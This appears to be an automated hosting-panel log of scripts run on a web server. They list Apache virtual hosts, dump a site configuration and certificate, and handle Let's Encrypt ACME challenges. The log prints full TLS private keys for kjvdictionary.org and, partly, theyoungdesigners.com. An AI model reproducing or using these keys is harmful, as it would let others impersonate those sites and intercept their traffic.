AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-01-25 06:00:17: Establishing a connection
2026-01-25 06:00:17: 

PUT: /tmp/pkp779612

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-01-25 06:00:17: 

chmod 755 /tmp/pkp779612; /tmp/pkp779612; rm /tmp/pkp779612

2026-01-25 06:00:17: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:2)
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:19)
         port 443 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-01-25 06:00:17: 

PUT: /tmp/pkp228406

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/kjvdictionary_www_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-25 06:00:17: 

chmod 755 /tmp/pkp228406; /tmp/pkp228406; rm /tmp/pkp228406

2026-01-25 06:00:17: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/kjvdictionary_www_org.conf	1458

<VirtualHost *:80>
    ServerName	kjvdictionary.org
    ServerAlias	www.kjvdictionary.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/kjvdictionary_www
    <Directory /var/www/kjvdictionary_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/kjvdictionary/www_access.log combined
    ErrorLog	/var/log/apache2/kjvdictionary/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteCond	%{REQUEST_URI} !/event
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	kjvdictionary.org
    ServerAlias	www.kjvdictionary.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/00f32caf8ea0fbe0d1b245ad2ff4822f.crt
    DocumentRoot	/var/www/kjvdictionary_www
    <Directory /var/www/kjvdictionary_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/kjvdictionary/www_secure_access.log combined
    ErrorLog	/var/log/apache2/kjvdictionary/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-01-25 06:00:17: 

PUT: /tmp/pkp852408

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/00f32caf8ea0fbe0d1b245ad2ff4822f.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-25 06:00:17: 

chmod 755 /tmp/pkp852408; /tmp/pkp852408; rm /tmp/pkp852408

2026-01-25 06:00:17: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/00f32caf8ea0fbe0d1b245ad2ff4822f.crt	5385
47:09:ea:dd:18:e4:1c:c1:0f:a2:77:97:9f:f6:9b:7a

-----BEGIN CERTIFICATE-----
MIIFFTCCA/2gAwIBAgISBZh0kLyoyG/ZlSvxmTQM8aCeMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTI1MDUwMTQ2WhcNMjYwNDI1MDUwMTQ1WjAcMRowGAYDVQQD
ExFranZkaWN0aW9uYXJ5Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBALK8E/+OeRLRyE5i9nUKH+PhEinJMeiBZVhwM3n4+YZUU+wcju9hAoe/qg/i
+DQfVnZNgHeOLrTrAjoad77es0htgG5y0uPiytuL9ltpsTRaAqglVYnY+ebeolOF
tEB79Ieck43/8m6yBdAXJrCQkNjQ7jR81ZzPTfdEldVBWKqZeltTMz1aVoun26T0
5+s4rHfQdLWcYodxbXXzWGiObSLclT8iMZOwgaRkAHkumpixxt5I8bQOmgyCNGRr
iym/zATU4KKArSnZq7HZaZo0kBtvZfmCM7i7AIwuyrPLPpME42Zyenaj945W7FB7
WLNPgurgJSOCR0IdZY3aEsgFHqMCAwEAAaOCAjgwggI0MA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQU4mNp0Pf0pXqA48wbInHB4ailqb4wHwYDVR0jBBgwFoAU56ufDywz
oFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEzLmkubGVuY3Iub3JnLzAzBgNVHREELDAqghFranZkaWN0aW9uYXJ5Lm9y
Z4IVd3d3LmtqdmRpY3Rpb25hcnkub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4G
A1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMzEuY3JsMIIB
BAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYASZybad4dfOz8Nt7Nh2SmuFuvCoeAGdFV
Uvvp6ynd+MMAAAGb870eUQAABAMARzBFAiEA2hobaqPDPzi1ghl9bqoUGkcH9/7w
hGAlx9b5cZ1gw5oCIHeutE5presfkCsWKrJZOa7fTlNWBnYSWU5Phnrx+z8YAHYA
yzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMUWOcAAAGb870eXgAABAMARzBF
AiA1RgJ71Lu6V/B0ZKQYALdUHMmHRqyQhUshTXAzFk+7xwIhAJyYOTSjpwq3858s
9Zr9K0Wmb2Z+o1F+5IMe0IDRPjErMA0GCSqGSIb3DQEBCwUAA4IBAQBMriY9rQ+m
Gg8DaVRD3G6ISNl66PQC/GYF5MctgPIxz2DhoteBR1jS0RfV7c6sj/b2TFjtnZO+
Le27GkiyAoHRJRudEe42X9yDZBYO3068j1wbx0nu1iByhrZiwhZgDo565zwCzZR0
DkHQX+c2sy3eNXvCdNEUv8jMqkJN9z5Ic4+7kLBLmSPD5pAzByE5gMUDCzlx535b
UjKdbi224A9oSeuENON11HrSa1NK4NUqI+CPEt9g+5cm21+tn+JSjWE0eONtT+19
RkPmjh2KQoYkF6QS/vVHQZcUZw5kCcCMJP1AMGdD4jkqDdK28XxtG6cSQ8MuZJCC
xcmKODFidK8a
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCyvBP/jnkS0chO
YvZ1Ch/j4RIpyTHogWVYcDN5+PmGVFPsHI7vYQKHv6oP4vg0H1Z2TYB3ji606wI6
Gne+3rNIbYBuctLj4srbi/ZbabE0WgKoJVWJ2Pnm3qJThbRAe/SHnJON//JusgXQ
FyawkJDY0O40fNWcz033RJXVQViqmXpbUzM9WlaLp9uk9OfrOKx30HS1nGKHcW11
81hojm0i3JU/IjGTsIGkZAB5LpqYscbeSPG0DpoMgjRka4spv8wE1OCigK0p2aux
2WmaNJAbb2X5gjO4uwCMLsqzyz6TBONmcnp2o/eOVuxQe1izT4Lq4CUjgkdCHWWN
2hLIBR6jAgMBAAECggEAE2q/7W0SlXXO10fZqGtaKDfE8QnXbyp80mJrZTPOv8Yc
0TNlCne1KP7XFcoS1sQUxjNd4nRteeAR/4ftPFdrOKdqDWr8osnPlJGcSOAEN+to
tdBLKPeLu9tch8r9rbJe+qCK8yE8EBnXlydSClpvh0O4rQu8FRX8TVbZGYVzgXeN
35sa4VA+g/I1g+28+qgoFuW6OsQSkMx+XCnl36+9DMzI+lfnrCrr3MWudpWDax0t
h3WeK6/FYWktvzx6wfE46n6ZsTyPMP+L4bDkwBTrtKLp+NmY3Rd0U396BtcgZETO
dWRs2EeoLLFrOi9tJWE0gdehGl8gl5xiU4l2pVYN+QKBgQD6xbTnxkpniCCoLWsw
1GhzXdOh2QQxUSWuwh3S1nISS+1yt2in538AjWnPkY2yWl8Gt/pJ5uaSrIAdqde2
nBWBcaPktzXRfZn0+PfT8KAIXEhCkXi+MF5RWUEUyNUKQJkFavdkEBPp3XCT3/rn
dETByUc9myya4jkmO0oUZkHBxwKBgQC2de3isjHSsm5+gPMSXnt1SokohFJjZnze
PKPjXGGhBQ+BAgSRIxS5zfcvqSYH7Dl8X0sb6zG/J8aTH8ytmNk1PSPpvittsnRx
UTCmTJ6wj8BpeHkB2NiELzVIGDOoeNP4wECTzeuYUM1Si3hBnE0ZQm7QIv0BXJu/
s/Dd1hT8RQKBgQDVrc9nSyQtMeY5x3G1ytgxrXpeR4/2AeItFgTZmZbblkz+2d9Y
ar5iFx1ZG/p0ReMA05V2kURZKJmGLSm81STSBqYThjVaiz67acWqlzeVyCRebJxI
2ugTQw1ci4BUWxTIdAvW/IgrV1/M8SZXQFAyG7MTgHyygR8XP5/w3+0aEwKBgBZH
8mPDhOgI2AtkrcopdYQONQ+YkQMIaektmInUJyvllU4Ys/wRP5+s8imEy1seUqrI
bECdiPah4dLniDQOvT+OFsudaGo955BK7Njx9FL1SvbWOliqZU5HAYerROumzaPL
vlcOR13TSC9zTp0cfCHAhg2uqBy5dV+Elr5QPUHNAoGBAOArYzKC8BILQPgBpCWP
8FnbilDi3HrS7sa1nl5Zl5P2xsfeIICgiGEJ5tQalUmq7DjE266jYsBgZ21hmr/7
bJ6dajXz3/0NFVHuWI38yGuTHe27f75YXL0zRluMxZhg41M7A21xbhjblvBHZrAO
8rNuq/klBO0vGzDP4WOUvBEC
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-01-25 06:00:18: Establishing a connection
2026-01-25 06:00:18: Establishing a connection
2026-01-25 06:00:18: 

PUT: /tmp/pkp534332

#!/bin/bash
if [ -d "/var/www/biblealive_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-01-25 06:00:18: 

chmod 755 /tmp/pkp534332; /tmp/pkp534332; rm /tmp/pkp534332

2026-01-25 06:00:18: 


1


2026-01-25 06:00:19: Establishing a connection
2026-01-25 06:00:19: 

PUT: /tmp/pkp435384

#!/bin/bash
mkdir -p "/var/www/biblealive_www/.well-known/acme-challenge/"
cd "/var/www/biblealive_www/.well-known/acme-challenge/"
cat > -7uUrNI_5ttgTKoPcneq8tSXEOiY0IZJN8B_q3Q7fgI <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
-7uUrNI_5ttgTKoPcneq8tSXEOiY0IZJN8B_q3Q7fgI.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 -7uUrNI_5ttgTKoPcneq8tSXEOiY0IZJN8B_q3Q7fgI


2026-01-25 06:00:19: 

chmod 755 /tmp/pkp435384; /tmp/pkp435384; rm /tmp/pkp435384

2026-01-25 06:00:19: 


chmod: invalid mode: ‘-7uUrNI_5ttgTKoPcneq8tSXEOiY0IZJN8B_q3Q7fgI’
Try 'chmod --help' for more information.




STDERR:
chmod: invalid mode: ‘-7uUrNI_5ttgTKoPcneq8tSXEOiY0IZJN8B_q3Q7fgI’
Try 'chmod --help' for more information.


2026-01-25 06:00:21: Establishing a remote connection
2026-01-26 06:00:02: Establishing a connection
2026-01-26 06:00:02: Establishing a connection
2026-01-26 06:00:03: 

PUT: /tmp/pkp854592

#!/bin/bash
if [ -d "/var/www/theyoungdesigners_com/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-01-26 06:00:04: 

chmod 755 /tmp/pkp854592; /tmp/pkp854592; rm /tmp/pkp854592

2026-01-26 06:00:04: 


1


2026-01-26 06:00:05: Establishing a connection
2026-01-26 06:00:05: 

PUT: /tmp/pkp402889

#!/bin/bash
mkdir -p "/var/www/theyoungdesigners_com/.well-known/acme-challenge/"
cd "/var/www/theyoungdesigners_com/.well-known/acme-challenge/"
cat > 3KTCALS3BWtLoVTBQOy38uhOaC8lQaeJG2C4cGZdLtc <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
3KTCALS3BWtLoVTBQOy38uhOaC8lQaeJG2C4cGZdLtc.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 3KTCALS3BWtLoVTBQOy38uhOaC8lQaeJG2C4cGZdLtc
cat > Y7YtL4aMVls1PTRMH1vPR2xaSeFtO9JryFzqMvuywFQ <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
Y7YtL4aMVls1PTRMH1vPR2xaSeFtO9JryFzqMvuywFQ.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 Y7YtL4aMVls1PTRMH1vPR2xaSeFtO9JryFzqMvuywFQ


2026-01-26 06:00:05: 

chmod 755 /tmp/pkp402889; /tmp/pkp402889; rm /tmp/pkp402889

2026-01-26 06:00:05: 




2026-01-26 06:00:14: Establishing a connection
2026-01-26 06:00:14: 

PUT: /tmp/pkp979898

#!/bin/bash
mkdir -p "/var/www/theyoungdesigners_com/.well-known/acme-challenge/"
cd "/var/www/theyoungdesigners_com/.well-known/acme-challenge/"
rm 3KTCALS3BWtLoVTBQOy38uhOaC8lQaeJG2C4cGZdLtc
rm Y7YtL4aMVls1PTRMH1vPR2xaSeFtO9JryFzqMvuywFQ


2026-01-26 06:00:14: 

chmod 755 /tmp/pkp979898; /tmp/pkp979898; rm /tmp/pkp979898

2026-01-26 06:00:14: 




2026-01-26 06:00:14: Establishing a connection
2026-01-26 06:00:14: 

PUT: /tmp/pkp172101

#!/bin/bash
temp_file=$(mktemp)
TARGET=2deaf2826866ca8d93ba58b86ef107a6.crt

cat > $temp_file <<'endmsg'
fb:7b:9a:5f:97:af:a9:1d:37:2c:87:69:c7:f5:d9:30

-----BEGIN CERTIFICATE-----
MIIFKjCCBBKgAwIBAgISBUMyc49Uin+QnnOiARL6pqNJMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTI2MDUwMTQzWhcNMjYwNDI2MDUwMTQyWjAgMR4wHAYDVQQD
ExV0aGV5b3VuZ2Rlc2lnbmVycy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQCS+W3Q4rj78x9d1VQIKUAhEAi958gwQR019glNnQ0sxALSJRl6EYyW
lLwnCRrNHYuI8nJu8eJGMDdWwTOxpKuhxo6YGPj605csn5aP3OdQ7Fc2AqQ9j3ZU
DTpY1gwAyxyJShWz1AnVkpdZDLbRPQ654G+oqWILP4y1nTFkFX3HjIT9meFWyuR5
nK4wclw7zKh+AtZfosNOgrnLuH1Dv2Fj+8c/SEXWJT0jWfnP7kojEr+iBPzFeFZT
Y7wYRGofqeO8B5TKAoyPQScxJLm7XWPx204udAOu3Xnujcf7N6h8GqM0SmRSz7w3
Zctgt66NixAKnk4BkvyKkt9rAu+0X75vAgMBAAGjggJJMIICRTAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFA4hdFLzT2egbShJGofH8ilp5OChMB8GA1UdIwQYMBaAFOer
nw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wOwYDVR0RBDQwMoIVdGhleW91bmdkZXNp
Z25lcnMuY29tghl3d3cudGhleW91bmdkZXNpZ25lcnMuY29tMBMGA1UdIAQMMAow
CAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5v
cmcvNzQuY3JsMIIBDQYKKwYBBAHWeQIEAgSB/gSB+wD5AHcASZybad4dfOz8Nt7N
h2SmuFuvCoeAGdFVUvvp6ynd+MMAAAGb+ONwWQAABAMASDBGAiEAuxRtw7D+/mxF
/T7zYcpOjKygUmETHNz2mbCIsf4Y+bQCIQDl0f54ImzXbhibcwQLyeBNJmOokKy3
LwXhBcMlM5tMkAB+AHF+lfPCOIptseOEST0x4VqpYgh2LUIA4AUM0Ge1pmHiAAAB
m/jjcPAACAAABQAH0FraBAMARzBFAiEAqRykVvHjTIQWB0IN3ChCnd5JdbHjR+Er
BhKAp/AeXjoCICrZiFNFdJNOSk7+6hfIsOrsj8+742dFtJXwZSYMMuaJMA0GCSqG
SIb3DQEBCwUAA4IBAQBtkFuLaYQi04dYsFvVdcwMhZP6w20j0eUdqpGg5mKTClqR
N8ik+GvhqKacqQVUBygu3SoWp+LXjltMERLaw7GT44B4dfXCRV3v7UpB9tXL/8eZ
l4qQ44co+HnOjXnJYH8Lg8Li9iCXVz5m4+Rwq7hz6FERv1AnZWS/ZEhgB8QkoyQD
fPRuE4CqZkeuKcmJhVMR7pol46pHw+2JNGhnW2t7LfBPvPi+Q+VPiL5mKXMDxHsh
/va9eW34iTbCOyLsbxPmyMwjEBGkPzSKb5c6WhcmDNilOy2tDErMD0N4Krk6rIxp
A8ta98Pw0GY6LC5CEQlQKHZxygn+ErvGD2XxS2eQ
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCS+W3Q4rj78x9d
1VQIKUAhEAi958gwQR019glNnQ0sxALSJRl6EYyWlLwnCRrNHYuI8nJu8eJGMDdW
wTOxpKuhxo6YGPj605csn5aP3OdQ7Fc2AqQ9j3ZUDTpY1gwAyxyJShWz1AnVkpdZ
DLbRPQ654G+oqWILP4y1nTFkFX3HjIT9meFWyuR5nK4wclw7zKh+AtZfosNOgrnL
uH1Dv2Fj+8c/SEXWJT0jWfnP7kojEr+iBPzFeFZTY7wYRGofqeO8B5TKAoyPQScx
JLm7XWPx204udAOu3Xnujcf7N6h8GqM0SmRSz7w3Zctgt66NixAKnk4BkvyKkt9r
Au+0X75vAgMBAAECggEAAqkEZFTeOLZeMHk+g8XfXhCwuz6m907p1hT8dtX0h06K
8Ic6F5wH2Z6/IxYGmhcd4fB3wsa/UIN8MF1NS00OgoLjLNgFJ/NfMzA2SYLAb6hR
v4AET7rwGEhfAsYyL9nGcIX/QmvuKVo+r3oCyxm+mrSKUyIfcT/2t4jRoNPEwYyk
UV7RdcO6AhqonO1gFYKYwDxFAAL75lNdvKtC8fyF7lZ6Ky0QD6l80p5Baryc/02w
M/wzNnBs5riJiEx4jgBieeMg5YGH61f7oRA2liHkWow5hRdJiQcXjz9r5Y2kJ08W
0TSOwZ+ktjiR15rzTbZQQnbvkM9Wai8itc5tIBb/nQKBgQDO7eWCFz6lQol03YQh
0DdhjL9DpPtxr0EaCQLqts/7PoOCFIpgP/04XO8lpjwJLP2ZSAWmoTqkoxWLYc7j
bZ9Do8O13m3JsWMoOymOgLNifP8IoB+vsZpXoSEa6nPQ4Krr4VdmisdOwe1mFtp0
